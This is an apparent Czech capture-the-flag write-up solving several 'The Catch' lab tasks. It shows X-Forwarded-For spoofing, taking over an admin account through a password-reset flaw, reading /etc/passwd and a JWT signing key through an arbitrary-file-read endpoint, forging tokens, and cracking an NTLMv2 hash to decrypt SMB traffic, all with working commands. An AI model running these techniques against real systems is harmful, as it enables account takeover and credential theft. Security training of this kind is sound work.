ažimg/4.png
, existují ale až po číslo 7. Můžeme zkontrolovat, že jsou obrázky všude stejné:
cat ports.txt | while read port; do echo -n "$port: "; curl -s http://keyword-of-the-day.cns-jv.tcc:$port/img/1.png | md5sum; done
# vyjde nám, že jsou všude stejné :/
Znova se podíváme na Javascripty, odstraníme z nich měnící se část a uděláme md5sum, abychom našli, jestli je nějaká stránka odlišná:
$ cat ports.txt | while read port; do echo -n "$port: "; curl -s http://keyword-of-the-day.cns-jv.tcc:$port | sed "s/'158706KaxUIc','[^']*','XpYtE'//" | md5sum; done
60000: 315b78a76684f24209855d40addca216 -
60004: 315b78a76684f24209855d40addca216 -
60009: 315b78a76684f24209855d40addca216 -
60010: 315b78a76684f24209855d40addca216 -
60011: 315b78a76684f24209855d40addca216 -
60015: 315b78a76684f24209855d40addca216 -
[...]
60257: 5643468bd3a68c77f71d506e4957c66d -
[...]
60487: 315b78a76684f24209855d40addca216 -
60488: 315b78a76684f24209855d40addca216 -
60489: 315b78a76684f24209855d40addca216 -
60494: 315b78a76684f24209855d40addca216 -
60495: 315b78a76684f24209855d40addca216 -
Jedna stránka vyčuhuje, její Javascript po de-obfuskaci vypadá takto (zobrazuje
obrázek podle qn
, ne fn
a navíc 948cd06ca7
se nemění, narozdíl od zbytku stránek).
function getRandomInt(_0x12721b, _0x4bd30f) {
_0x12721b = Math.ceil(_0x12721b);
_0x4bd30f = Math.floor(_0x4bd30f);
return Math.floor(Math.random() * (_0x4bd30f - _0x12721b) + _0x12721b);
}
setTimeout(function () {
fn = getRandomInt(1, 4);
document.getElementById("loader").style.display = "none";
qn = "948cd06ca7";
document.getElementById("myImage").src = "img/" + qn + ".png";
}, getRandomInt(1, 7) * 1000);
Tento obrázek říká For FLAG follow this URI /948cd06ca7
. Na tomto odkazu
na stejném portu pak získáme vlajku: FLAG{DEIE-fiOr-pGV5-8MPc}
Ahoy, officer,
after a reboot at 2023-10-02 11:30:18 UTC, the On-board signal flag recognition system (OBSF-RS) has malfunctioned. The signal flags are no more recognized and the only working function is to generate and save schematic views, which are created every time a ship in the vicinity changes its signaling. We need to know what the surrounding ships signaled and if we have missed something important.
May you have fair winds and following seas!
Download the schematic views.
Na uvedeném odkazu dostaneme 90 obrázku o velikosti zhruba 4K*2K pixelů vypadajících podobně jako tento:
Na každém obrázku je loď a:
- nějaká textová metadata
- vlajka lodi (vždy v zeleném rámečku a velká)
- vlajky zpráv (vždy v zeleném rámečku a jednoznačně uspořádané zvrchu dolů)
Na extrakci textových informací můžeme použít třeba Tesseract OCR a pak pomocí jeho výstupu přejmenovat soubory popořadě podle timestampu z obrázku (stačí podle času):
$ sudo apt install tesseract-ocr python3-opencv
$ cd images
$ for a in *; do tesseract "$a" "$a"; done
$ for a in *.png; do
id=`cat "$a.txt" | grep "Ship object ID:" | tr -dc '0-9'`
t=`cat "$a.txt" | grep "Timestamp:" | sed -E 's/.*GMT 2023-10-02 ([0-9:]*).*/\1/' | tr -d ':'`
# Přejmenujeme soubory popořadě podle ID a času
mv "$a" "$id-$t-$a"
done
Teď již máme obrázky popořadě, ale co s nimi? Vezmeme si k ruce nějakou pomůcku pro dekódování námořní vlajkové abecedy a prozkoumáme ručně pár obrázků.
Kódy na vlajkách skoro vždy začínají hexadecimálně 0x
, ale ruční hledání vlajky
by bylo asi otravné. Ručně získáme obrázky vlajek (třeba pomocí Gimpu) a uložíme
si je je do složky flags/
:
A | I | Q | — | Y | 2 | ||||
B | J | — | R | Z | — | 3 | |||
C | K | S | 4 | ||||||
D | L | T | — | 5 | |||||
E | M | U | — | 6 | |||||
F | N | V | 7 | ||||||
G | — | O | W | 0 | 8 | ||||
H | P | X | 1 | 9 |
Pomocí opencv si napíšeme Python skript na rozpoznávání vlajek. Na každý obrázek
poštveme cv2.matchTemplate
a najdeme výskyty každé vlajky. Pak už stačí jenom
sort podle y pozice (shora dolů) a případně dekódovat hex stringy.
Skript: solver.py
Abychom nematchovali vlajky znaků na vlajkách států, je lepší hledat vlajky i se zeleným rámečkem.
Po chvíli počítání vypadne pár textů (kompletní výstup). Zajímavé jsou ty vyslané finskou lodí:
CNS Josef verich, are your nets ok, too? ;-)
CNS Josef verich, you can improve them by RkxBR3tsVHJHLTNvWG4tYW9aTi1aNHFNfQ== !
Po base64 dekódování získáme finálně vlajku FLAG{lTrG-3oXn-aoZN-Z4qM}
. Toto
byla úloha, u které bylo od začátku jasné, co s ní dělat, a jsem rád, že jsem si
díky ní zase po čase osvěžil práci s OpenCV.
Ahoy, officer,
due to the lack of developers on board, the development of the access code generator for the satellite connection was entrusted to the cat of the chief officer. Your task is to analyze the cat's creation and find out the code.
May you have fair winds and following seas!
Download the cat code.
Po stažení souboru se nám naskytne pohled na dva velice umňoukané kusy Pythoního kódu :D
Hlavní spustitelný kód je meowmeow.py
,
který využívá metody z 'meow.py`. Když se
pokusíme kód spustit, tak se nás zeptá "Who rules the worlds?" a očekává
odpověď.
Krátký pohled do zdrojáku nám napoví, že jediná správná odpověď je kittens
a pak se zavolá meowmeow(meow(sum([ord(meow) for meow in meoword])))
kde
meoword
je kittens
, takže je to vlastně ekvivalentní zavolání
meowmeow(meow(770))
. To byla ta jednodušší část.
Když teď kód zkusíme spustit, tak se nám obrazovka zaplní nekonečně mňoukáním
a budeme čekat věčně. Pojďme se tedy podívat do meow.py
.
Samotná funkce meowmeow()
není to, co trvá dlouho. Ta jen dostane velké číslo,
převede ho na string a pak do něj indexuje pomocí velkého listu čísel, aby
sestavila jiná čísla, která pak finálně prožene skrze chr
na písmenka.
Zamotané, ale tohle dlouho netrvá.
To co ale trvá dlouho je meow()
, ta totiž počítá
Fibonacciho číslo a to
rekurzivně podle definice, což je exponenciální v době výpočtu (a taky vede
k exponenciálně mnoha zamňoukáním do terminálu :D). To ale můžeme lehce
opravit pomocí dynamického programování aneb nepočítat stejné věci vícekrát, ale uložit si je.
V Pythonu to můžeme lehce zařídit pomocí dekorátorů:
def memoize(f):
memo = {}
def helper(x):
if x not in memo:
memo[x] = f(x)
return memo[x]
return helper
@memoize
def meow(kittens_of_the_world):
...
Druhá věc, kterou potřebujeme udělat, je zvětšit povolenou hloubku rekurze a to třeba takto:
import sys
sys.setrecursionlimit(2000)
Upravené soubory: meow.py
, meowmwow.py
Pak po spuštění již dostaneme docela málo zamňoukání a pak také text
FLAG{YcbS-IAbQ-KHRE-BTNR}
. A jen jako zpestření, 770. Fibonacciho číslo, které
se předává do meowmeow()
, vypadá takto:
37238998302736542981557591720664221323221262823569669806574084338006722578252257702859727311771517744632859284311258604707327062313057129673010063900204812137985
Ahoy, officer,
the ship had to lower its speed because of broken
fuel efficiency enhancer
. To order a correct spare part, the chief engineer needs to know exact identification code of the spare part. However, he cannot access the web page listing all the key components in use. Maybe the problem has to do with recently readdressing of the computers in the engine room - the old address plan for whole ship was based on range192.168.96.0/20
. Your task is to find out the identification code of the broken component.May you have fair winds and following seas!
The webpage with spare parts listing is available at http://key-parts-list.cns-jv.tcc.
Když si otevřeme zmíněnou stránku, tak nám vypíše "You are attempting to access from the IP address 10.200.0.60, which is not assigned to engine room. Access denied."
Když se podíváme na hlavičky, tak poznáme, že stránka je napsaná v PHP a běží pod Apachem:
$ curl -v "http://key-parts-list.cns-jv.tcc/"
[…]
< Server: Apache/2.4.56 (Debian)
< X-Powered-By: PHP/8.0.30
[…]
Kontrolu IP adresy dělá velmi pravděpodobně právě PHP, do toho se musí IP adresa
nějak dostat (podobně jako do čehokoliv dalšího běžícího za nějakou proxy).
Běžně se na to používá HTTP hlavičky X-Forwarded-For
a X-Real-Ip
, zkusme nějakou z nich nastavit:
$ curl -H "X-Forwarded-For: 1.2.3.4" http://key-parts-list.cns-jv.tcc
You are attempting to access from the IP address 1.2.3.4, which is not assigned to engine room. Access denied.
Funguje to, teď jen potřebujeme uhádnout adresu strojovny. Naštěstí v prefixu /20
není
adres zase tak mnoho (je jich 4096). Na vylistování adres můžeme zneužít třeba
známý nmap
, jehož výstup trochu ořízneme pomocí awk
a pak na každou adresu
spustíme curl
:
nmap -sL -n 192.168.96.0/20 | awk '/Nmap scan report/{print $NF}' | while read ip; do
echo $ip
curl -s -H "X-Forwarded-For: $ip" "http://key-parts-list.cns-jv.tcc/" | grep -v "Access denied"
done
Po chvíli zkoušení adres zjistíme, že web povoluje adresy z rozsahu
192.168.100.32
až 192.168.100.63
. V seznamu najdeme Fuel efficiency enhancer
a flag FLAG{MN9o-V8Py-mSZV-JkRz}
.
Ahoy, officer,
on our last port visit, a new U.S.A. (Universal Ship API) interface was installed on the ship. In order to unlock new experimental ship functions, the special code has to be entered into ship FLAG (First Layer Application Gateway). Your task is to get this FLAG code from U.S.A.
May you have fair winds and following seas!
The U.S.A. is available at http://universal-ship-api.cns-jv.tcc.
Jak už je u pokročilejších úloh zvykem, tak první nažhavíme nmap
, který nám
ale poví, že je na celém serveru povolený jediný port:
PORT STATE SERVICE
80/tcp open http
Je na něm API, dá se uhádnout /api/
a pak s nápovědou z vraceného JSONu zkoušet hledat další. Najdeme endpointy:
/api/v1
– rozcestník naadmin
auser
/api/v1/admin
– podle hlaviček chceBearer
token- pod
/api/v1/user/
asi něco je, ale neumíme to uhádnout
Pak se dá uhádnout /docs
a openapi.json
, ale chtějí autorizaci. Asi zde ale
bude ještě několik dalších endpointů. Zkusíme použít kiterunner
na uhádnutí běžných enpointů a metod, které podporují:
$ kr scan --fail-status-codes 401 -w routes-large.kite http://universal-ship-api.cns-jv.tcc/api/v1
POST 400 [ 43, 4, 1] http://universal-ship-api.cns-jv.tcc/api/v1/user/login 0cf685c14b645f9505187d0e64e45c6a688aa513
$ kr scan --fail-status-codes 401 -w routes-large.kite http://universal-ship-api.cns-jv.tcc/api/v1/user
POST 422 [ 88, 6, 1] http://universal-ship-api.cns-jv.tcc/api/v1/user/signup 0cf68c053155400dab3dc59b0ef53def2f7ef09f
$
Objevili jsme zajímavé endpointy POST /api/v1/user/login
a POST /api/v1/user/signup
.
První z nich chce application/x-www-form-urlencoded
POST a když mu posíláme
requesty, napoví nám, že potřebuje username
a password
:
$ curl -X POST -v "http://universal-ship-api.cns-jv.tcc/api/v1/user/login"
{"detail":[{"loc":["body","username"],"msg":"field required","type":"value_error.missing"},{"loc":["body","password"],"msg":"field required","type":"value_error.missing"}]}
$ curl -X POST -v "http://universal-ship-api.cns-jv.tcc/api/v1/user/login" -d 'username=admin&password=pass'; echo
{"detail":"Incorrect username or password"}
Druhý z nich POST /api/v1/user/signup
chce JSON. Po chvíli pokusů a napovídání
od API se nám nakonec povede registrovat:
$ curl -X POST -v "http://universal-ship-api.cns-jv.tcc/api/v1/user/signup"
{"detail":[{"loc":["body"],"msg":"field required","type":"value_error.missing"}]}
$ curl -X POST -v "http://universal-ship-api.cns-jv.tcc/api/v1/user/signup" -d 'a'
{"detail":[{"loc":["body"],"msg":"value is not a valid dict","type":"type_error.dict"}]}
$ curl -X POST -v "http://universal-ship-api.cns-jv.tcc/api/v1/user/signup" -H "Content-Type: application/json" -d '{}'
{"detail":[{"loc":["body","email"],"msg":"field required","type":"value_error.missing"},{"loc":["body","password"],"msg":"field required","type":"value_error.missing"}]}
$ curl -X POST -v "http://universal-ship-api.cns-jv.tcc/api/v1/user/signup" -H "Content-Type: application/json" -d '{"email": "setnicka@seznam.cz", "password": "123456"}'
--> 201 Created
Přihlásíme se a dostaneme access token:
$ curl -X POST -v "http://universal-ship-api.cns-jv.tcc/api/v1/user/login" -d 'username=setnicka@seznam.cz&password=123456'
{"access_token":"eyJhbGciOiJSUzM4NCIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjk3NzMyMzEyLCJpYXQiOjE2OTcwNDExMTIsInN1YiI6IjIiLCJhZG1pbiI6ZmFsc2UsImd1aWQiOiI1MTc0YzExNi1mZDU1LTQ5MzQtOTI4Mi01NTc3MzlkM2ZlZmMifQ.qiW3fNQzcAtBRBkvv86_V2wf1GrP8ZIsSXSBjOU9axEu3kK7ik8ts7D7YhD8TcSN8ga0x5nhQsqtHll5uYts8hPQWzCVg7CiB8omztUID_CNgX4PbwhFJl50NI3hV_hKzTGZFBdIwKaGBqfHdHub7VZtnrMbBwEpU2hrRD_zRiXbQPdmjfdmubHvSBGIzwCiCyplNeOrXlZtd_eza7LKuFygSZZFTvI0LmjCvaxb70q8H98rm-E1CjLIUA5xlgabsUyRrKybu1D64_gG1o7QdAE9YQ5T75ozTbPhiE4ZxhZONFe-IoL_pMaecqWyrnNl53FFUDD1vxk_GAS-_kgWhk9PkO194UuHc-QuwVQ7eGFwudXL5qCW5Hy4MqYpWCHOQ07MZs-P6NjPmf_G-suY243QN-EG8zTbtM6hUc7b1AzSsqzAIBwh48dUF0zg6RUYp-MO3ySg_qymBMZy20mNZFuVTReZ7QhkOpYgio2BlObUy6ZO732sFeL8_WUShsS7DZmvJWkpRnSur8v5VWZNDfITynTco4JhCzfrtHoemRYcMmHR1g5ZXTgQIluKk_dgqlS4RBrhhmTFzAPO6pmzXIb_B_vcOancFzSbkWDohOejOGT1x-CA6mwavSlrFBqaS_vpKS0zYZX5PeVB7b1bcyL1GOsNr5rIfBEBrO3-aFU","token_type":"bearer"}
Z tokenu lze dekódovat JWT token (první dvě části oddělené tečkou, pak je podpis):
{
"alg": "RS384",
"typ": "JWT"
}.{
"type": "access_token",
"exp": 1697732312,
"iat": 1697041112,
"sub": "2",
"admin": false,
"guid": "5174c116-fd55-4934-9282-557739d3fefc"
}.[signature]
S tokenem se můžeme vydat po systému. Do /api/v1/admin
se stále nedostaneme
(na to nemáme v tokenu nahozené políčko admin
), ale můžeme získat OpenAPI
dokumentaci:
$ curl -v -H "Authorization: Bearer …" "http://universal-ship-api.cns-jv.tcc/openapi.json" > openapi.json
Dokumentace: openapi.json
Všimneme si zajímavých endpointů:
PUT /api/v1/admin/getFlag
– sem nás to nepustíPOST /api/v1/admin/file
– sem nás to taky nepustíPOST /api/v1/user/updatepassword
– umožní nám nastavit novýpassword
, aleadmin
field nezměníGET /api/v1/user/{user-id}
My jsme user id=2, kdo je user id=1?
{"guid":"b801175a-a949-4137-ae1f-7c05a2c4bfde","email":"admin@local.tcc","date":null,"time_created":1690796892351,"admin":true,"id":1}
Jde mu změnit heslo? ANO! :D
$ curl -X POST -v -H "Authorization: Bearer $token" "http://universal-ship-api.cns-jv.tcc/api/v1/user/updatepassword" -H "Content-Type: application/json" -d '{"guid": "b801175a-a949-4137-ae1f-7c05a2c4bfde", "password": "aiwohc7O"}'
{"guid":"b801175a-a949-4137-ae1f-7c05a2c4bfde","email":"admin@local.tcc","date":null,"time_created":1690796892351,"admin":true,"id":1}
Přihlásíme se a jdeme pro vlajku:
$ curl -X POST "http://universal-ship-api.cns-jv.tcc/api/v1/user/login" -d 'username=admin@local.tcc&password=aiwohc7O'; echo
{"access_token":"eyJhbGciOiJSUzM4NCIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjk3NzMzOTMzLCJpYXQiOjE2OTcwNDI3MzMsInN1YiI6IjEiLCJhZG1pbiI6dHJ1ZSwiZ3VpZCI6ImI4MDExNzVhLWE5NDktNDEzNy1hZTFmLTdjMDVhMmM0YmZkZSJ9.XoIlOQIquvmnkBRCY4ZKriBXXv3SUKur1XAyWYJ8Z9XC-_mBEwIpN4EFd0qhAy9DRf5iyhg72xrMTyONjorA0Dom8EQ_udOhkFalYqOhGtHAZxNTdLnheirteJCUJ4Icmsv-YOi768YlFG1CdTgV1mO8QkKJwQ2k-UDezg6OGui780p_z3VL5Ar8wpIMejexEqsagoQ327qnQ5I-l52cagMg3MpC-XU1sysRJsnifKN1KqZHFpElzXt0SLYuMSbnX78Z7SlX8AwJvUixK9OzmYXhvHECbR7rHGMGMB8LpxwUG1maZSEdaQxbgOuYRpUarGZ2se2Q-3aORWrHjIjh1enIgKqIFdbZABFP1RwoSJTRxTHRPcRqwPEmSUb4XTqWvQXJep__L4Sb2fbTs7ev0RB_ht2tLPFpIt-SVAAkprF6yF19XUdA_6Rsq2CQKEtZhzsqOBYxVOsRcY7S-JMaq-ze_Gv8CEjZYNImOd_257xdvNJ7WOAR72IrfYOhykMaZyLwVZW1sk9R-YDrrZu7hW8Oi0_Bk4f0Ko42ETJ87nl9nvP6GMEGrj6tPbYPi4-wA9MMKKRF9M0L2FllK-cQK00lpCuSuK7Qa_Pa9AUSOvVMKG9_qSP5eCnZT2kgUFYvaloSd630dAa8xlDWFgYY_xuMaHmPy8-6eMqerZzCNs0","token_type":"bearer"}
$ curl -X PUT -v -H "Authorization: Bearer $admin_token" "http://universal-ship-api.cns-jv.tcc/api/v1/admin/getFlag"
{"detail":"flag-read key missing from JWT"}
Tak jednoduché to bohužel není :( Musíme tedy prozkoumat i /api/v1/admin/file
endpoint. A ten je překvapivě mocný:
curl -X POST -v -H "Authorization: Bearer $admin_token" "http://universal-ship-api.cns-jv.tcc/api/v1/admin/file" -H "Content-Type: application/json" -d '{"file": "/etc/passwd"}'
-> vrátí /etc/passwd
Neumožní nám ale vylistovat složku, musíme tedy zjistit názvy souborů. Postupně zkoumáme filesystém okolo sebe:
- Dotazem na
../etc/passwd
zjistíme, že běžíme v 1 podsložce __init__.py
je prázdný soubor ale existuje../app/__init__.py
je asi ten stejný soubor/proc/self/environ
nám vrátí nastavení environmentu pro aktuální proces:
HOSTNAME=c3084a02d5ed
PYTHON_VERSION=3.10.13
APP_MODULE=shipapi.main:app
PWD=/app
PORT=80
PYTHON_SETUPTOOLS_VERSION=65.5.1
TZ=Europe/Prague
HOME=/home/appuser
LANG=C.UTF-8
VIRTUAL_ENV=/app/venv
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
PYTHONPATH=.
HOST=0.0.0.0
SHLVL=0
PYTHON_PIP_VERSION=23.0.1
VIRTUAL_ENV_PROMPT=(venv)
PYTHON_GET_PIP_SHA256=45a2bb8bf2bb5eff16fdd00faef6f29731831c7c59bd9fc2bf1f3bed511ff1fe
PS1=(venv)
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/9af82b715db434abb94a0a6f3569f43e72157346/public/get-pip.py
PATH=/app/venv/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Zajímavá proměnná je APP_MODULE=shipapi.main:app
. Podíváme se na cestu shipapi/main.py
:
$ curl -s -X POST -H "Authorization: Bearer $admin_token" "http://universal-ship-api.cns-jv.tcc/api/v1/admin/file" -H "Content-Type: application/json" -d '{"file": "shipapi/main.py"}' | jq -r '.file' > shipapi/main.py
Postupně postahujeme (a z nich odhadneme přes importy další jména) velkou část aplikace (viz její složka). A to včetně klíčů používaných pro podepsání JWT tokenu:
shipapi/main.js
shipapi/appconfig/config.py
shipapi/appconfig/jwtsigning.key
shipapi/appconfig/jwtsigning.pub
Pro analýzu JWT tokenů existuje krásná stránka jwt.io, kde
vložíme náš současný token, vložíme klíče a můžeme modifikovat JSON payload
a vyrábět nové tokeny. Přidáme si tam klíč "flag-read": true,
a dostaneme:
flag_token=eyJhbGciOiJSUzM4NCIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjk3NzMzOTMzLCJpYXQiOjE2OTcwNDI3MzMsInN1YiI6IjEiLCJmbGFnLXJlYWQiOnRydWUsImFkbWluIjp0cnVlLCJndWlkIjoiYjgwMTE3NWEtYTk0OS00MTM3LWFlMWYtN2MwNWEyYzRiZmRlIn0.Cy51CY0s-Z1St3jLHk7kEpHfSOmyVYjeWczNupwIqKwwgo9ggNH8x9_8HdotL4Zm19rTM7jo1eOPxpf63hvYAqGYmvQdwblqPG6NJTyzh-IF8lC5Yp65QZJIJpHdy-djRw_O3Q2W_fwvi7ANUocsNIgvmtTRD3li4IS4P8BS9stGukgpnxkStMenvf_aOohvcsMYPNR9Ak-F6CixsjXwFjOxvbjnUM7vsRDzBbSIuoupy-9d1TzFz7wgx-c9R3LqdtmmKvoj4NmF5pxKdrXVPrEl2zvxptLDWBU_cTD3pgJVA7shRkAPIAi0TV_SzbqDb5_ihEs3B8WXdv2NX6Kzt3qh73Mbklk11gkRsgKhDRqkv8ZBzRwOYFp4wuQIjfn83Y8AYtPjba_SUazUJACcp1_gokEaFcsqumU9pmDY53YVP4gkpOmxTizvUTsfemTwC8HalHM2JYAhIVLIQhSwxXHiDdQVNDusz_jKjOS8e8pSYCh-hepKJihpg-wwfOl4cnsnCohwRazuhDNOs3nXmQ5E9p1_tHX1N3xokzcj0tbqOUSNSLLM2APzlgsMQMVDVA28L7peCWC3ZcUxajTMZwz6O7CkJArQ-MPnfSy7KFU7-ht56lJzXY9bnwNLq4AGt8FSp_ypaP85I6tM_Rkox7jHN4Z9XardwClGFRACgfc
$ curl -X PUT -v -H "Authorization: Bearer $flag_token" "http://universal-ship-api.cns-jv.tcc/api/v1/admin/getFlag"
{"Flag":"FLAG{910P-iUeJ-Wwq1-i8L2}"}
Toto byla hezká úloha, jediný zádrhel mohl být v hádání názvů endpointů a pak názvů souborů na disku. Ale na obojí byly způsoby, jak se přes to dostat.
Ahoy, officer,
the chief security officer has told you, he came across a very suspicious event in ship's security logs on the occasion of a planned monthly log check. The event is related to accessing the secret file secret.db on server on cargo deck. Luckily, the ship is equipped with an automatic network traffic recorder, which was activated by the suspicious event and provided corresponding packet capture. Your task is to confirm that the mentioned file has been exfiltrated and to examine its contents.
May you have fair winds and following seas!
Download the pcap.
Toto byla úloha, která se mi z celého letošního The Catch líbila nejvíce. Krásně samonosná v tom, že všechno, co člověk potřebuje, je ukryté uvnitř jednoho pcap souboru :)
Pojďme se ale do staženého pcapu pomocí Wiresharku podívat. Prostým koukáním nalezneme několik zajímavých věcí, rozeberme si je po protokolech:
DNS:
- Můžeme zjistit IP některých strojů v síti:
- smbserver1 -> 172.20.0.2
- smbserver2 -> 172.20.0.6
- webserver -> 172.20.0.3
- Hodně DNS dotazů na
_kerberos._udp.LOCAL.TCC
,_kerberos._tcp.LOCAL.TCC
,_kerberos._http.LOCAL.TCC
a takykerberos.LOCAL.TCC
s odpověďmi "no such server"
HTTP:
- Ke konci pcapu je pár HTTP requestů na 172.20.0.3 na
/admin
endpoint s HTTP basic autorizacíadmin:james.f0r.HTTP.4648507
SMB:
- Je zde několik nešifrovaných spojení
- Dá se z nich vytáhnout soubor
history.db
aemployees.db
, Wireshark umí soubory přímo uložit - Oba soubory jsou poslané několikrát, ale podle md5sum jsou všechny verze stejné
- Oba soubory jsou SQLite databáze, bohužel nic zajímavého v nich
- Dá se z nich vytáhnout soubor
- Je tam SMB3 encrypted komunikace – do té se neumíme bez hesla dostat
- Vykoukáme z toho jen, že ji inicioval
james_admin
- Vykoukáme z toho jen, že ji inicioval
FTP:
- Vidíme heslo v plaintextu
james.f0r.FTP.3618995
- Používá se PORT command = druhá strana si requestne soubor z daného portu, což trochu mate Wireshark – je potřeba označit komunikaci z daného portu za FTP-data, pak už ji Wireshark zobrazí správně
- Jde vytáhnout
home.tgz
a rozbalit, je to home nějakého uživatele- Když projdeme
.bash_history
, tak objevíme command s heslemopenssl enc -aes-256-cbc -salt -pbkdf2 -in secret.db -out secret.db.enc -k R3alyStr0ngP4ss!
- Takže teď už jenom získat secret.db.enc, v
home.tgz
bohužel není
- Když projdeme
- Jde najít i
etc.tgz
- Dost souborů bylo změněno 8. září, ale není v nich nic zajímavého (žádná hesla k SMB)
Když z toho uděláme nějaký závěr, tak na síti hodně komunikoval nějaký james
,
který používá docela pravidelný pattern pro hesla: james.f0r.<služba>.<číslo>
.
Povedlo se nám dekódovat a nějak přečíst skoro vše, co na síti proběhlo, vyjma
té jedné šifrované SMB komunikace iniciované uživatelem james_admin
.
Vydal jsem se zkoumat, jak se dá zpětně dešifrovat SMB komunikace a náhodou jsem našel skvělý popis v článku Decrypting SMB3 Traffic with just a PCAP? Absolutely (maybe.), díky kterému jsem zjistil, že Wireshark mi komunikaci umí dešifrovat, pokud dostane session key pro danou komunikaci. A session key se dá spočítat z toho, co si protistrany vyměnily při úvodním handshake a z hesla, to je dobrá zpráva (není zde žádný Diffie-Hellman ani nic podobného).
Navazování komunikace probíhá v kostce takto:
- Klient a server navážou TCP spojení a vymění si, co kdo umí
- Server pošle
NTLM server challenge
- Klient odpoví a pošle:
- username
- doménu
NTProofStr
a zbytekNTLMv2 response
- zakódovaný session key
Podle výše zmíněného článku jsem si pořídil skript compute_samba_session_key.py
na výpočet session key k dešifrování komunikace. Skript potřebuje:
user
– uživatelské jméno, v našem případě vyčteme z komunikacejames_admin
domain
– doménové jméno, opět vyčteme z komunikaceLOCAL.TCC
password
– heslo uživatele, to neznámentproofstr
– lze vyčíst z komunikace (8bc34ae8e76fe9b8417a966c2f632eb4
)key
— zakódovaný session key, lze vyčíst z komunikace (4292dac3c7a0510f8b26c969e1ef0db9
)
Jediné, co nám schází, je heslo. Můžeme odhadnout, že bude mít klasický tvar
james.f0r.SMB.<číslo>
nebo james_admin.f0r.SMB.<číslo>
.
Pak prozkoumáme článek o crackování NTLMv2 hashe na 801 Labs
a podle něj použijeme hashcat
, což je utilita
na velmi rychlé crackování hesla. Hesla může zkoušet úplně náhodně, ale při naší
odhadované délce hesla to je již příliš. Můžeme si ale pořídit generátor na
odhadnutý tvar hesla (viz gen_passwordlist.py
)
a pak nechat hashcat
hesla velmi rychle vyzkoušet.
Z komunikace vytáhneme tato data:
Username: james_admin
Domain: LOCAL.TCC
NTLM server challenge: 78c8f4fdf5927e58
NTProofStr: 8bc34ae8e76fe9b8417a966c2f632eb4
NTLMv2 response (without NtProofStr): 01010000000000003ab4fc1550e2d901b352a9763bdec89a00000000020018004100360037004600320042004100340045003800460032000100180041003600370046003200420041003400450038004600320004000200000003001800610036003700660032006200610034006500380066003200070008003ab4fc1550e2d901060004000200000008003000300000000000000000000000000000002581558b8f3cf059f3661e7cb3af60d9b63a7561b7f48607589fb37e551862b10a0010000000000000000000000000000000000009001e0063006900660073002f0073006d006200730065007200760065007200320000000000
Z nich pro hashcat
vytvoříme soubor crackme.txt
ve správném formátu a pak spustíme (-m 5600
je typ pro NTLM hesla).
$ ./gen_passwordlist.py | hashcat -m 5600 crackme.txt`
# -> Crackneme `james_admin.f0r.SMB.8089078`
Máme heslo! Spustíme připravený skript a získáme random session key:
$ ./compute_samba_session_key.py -v --user james_admin --domain LOCAL.TCC --password "james_admin.f0r.SMB.8089078" --ntproofstr "8bc34ae8e76fe9b8417a966c2f632eb4" --key "4292dac3c7a0510f8b26c969e1ef0db9"
PASS HASH: 7cf87b641c657bf9e3f75d93308e6db3
RESP NT: a154f31a5ecc711694c3e0d064bac78e
NT PROOF: 8bc34ae8e76fe9b8417a966c2f632eb4
KeyExKey: 6a1d3b41cdf3d40f15a6c15b80d567d0
Random SK: 7a93dee25de4c2141657e7037dddb8f1
Vložíme 7a93dee25de4c2141657e7037dddb8f1
do Wiresharku pro ID komunikace 49b136b900000000
a voilà… Decrypted!
Uložíme si z komunikace secret.db.enc
a pak ji dekódujeme:
openssl enc -d -aes-256-cbc -pbkdf2 -in secret.db.enc -out secret.db -k R3alyStr0ngP4ss!
V SQLite databázi najdeme FLAG{5B9B-lwPy-OfRS-4uEN}
. Velmi pěkná úloha, děkuji autorům :)
Ahoy, officer,
some of the crew started behaving strangely after eating the chef's speciality of the day - they apparently have hallucinations, because they are talking about sirens wailing, kraken on starboard, and accussed the chef being reptilian spy. Paramedics are getting crazy, because the chef refuses to reveal what he used to make the food. Your task is to find his secret recipe. It should be easy as the chef knows only security by obscurity and he has registered domain
chef-menu.galley.cns-jv.tcc
. May you have fair winds and following seas!The chef's domain is
chef-menu.galley.cns-jv.tcc
.
Jedna z velmi jednoduchých úloh na rozjezd, stačí se podívat na stránku před přesměrováním:
$ curl -s http://chef-menu.galley.cns-jv.tcc
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
<meta http-equiv="refresh" content="0;url=https://chef-menu.galley.cns-jv.tcc">
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="https://chef-menu.galley.cns-jv.tcc">here</a>.</p>
<p style="display: none">The secret ingredient is composed of C6H12O6, C6H8O6, dried mandrake, FLAG{ytZ6-Pewo-iZZP-Q9qz}, and C20H25N3O. Shake, do not mix.</p>
<script>window.location.href='https://chef-menu.galley.cns-jv.tcc'</script>
</body></html>
Vlajka FLAG{ytZ6-Pewo-iZZP-Q9qz}
na nás přímo trčí :)
Jinak hlavní důvod divného chování posádky bude pravděpodobně C20H25N3O, což je sumární vzorec pro Diethylamid kyseliny lysergové aneb LSD, další ingredience pak vypadají na mandragoru, glukózu a vitamín C (i když podle sumárních vzorců se to těžko určuje s jistotou).
Ahoy, officer,
a new server with a video game is to be placed in the ship's relaxation center . Your task is to check whether the server does not contain any vulnerabilities.
May you have fair winds and following seas!
The game server has domain name
arkanoid.cns-jv.tcc
.
Za mě nejtěžší úloha letošního The Catch, protože se mi ji nepovedlo vyřešit. Doporučuji podívat se na writeup někoho úspěšnějšího.
Mě se povedlo jen zjistit, že na zadaném serveru je otevřených několik TCP portů:
nmap -p- arkanoid.cns-jv.tcc
PORT STATE SERVICE
8000/tcp open http-alt
43709/tcp open unknown
60001/tcp open unknown
60002/tcp open unknown
S tím, že port 43709 se mění, viděno i 36455 a 39065. Zbylé jsou stabilní.
Na portu 8000 běží jednoduchý web s hrou. Po přeformátování Javascriptu přesně odpovídá Javascriptu z návodu na 2D Breakout game pure Javascript s minimálním diffem (skript z webu, originální MDN skript):
$ diff script_mds_original.js script.js
67,68c67,70
< alert("YOU WIN, CONGRATS!");
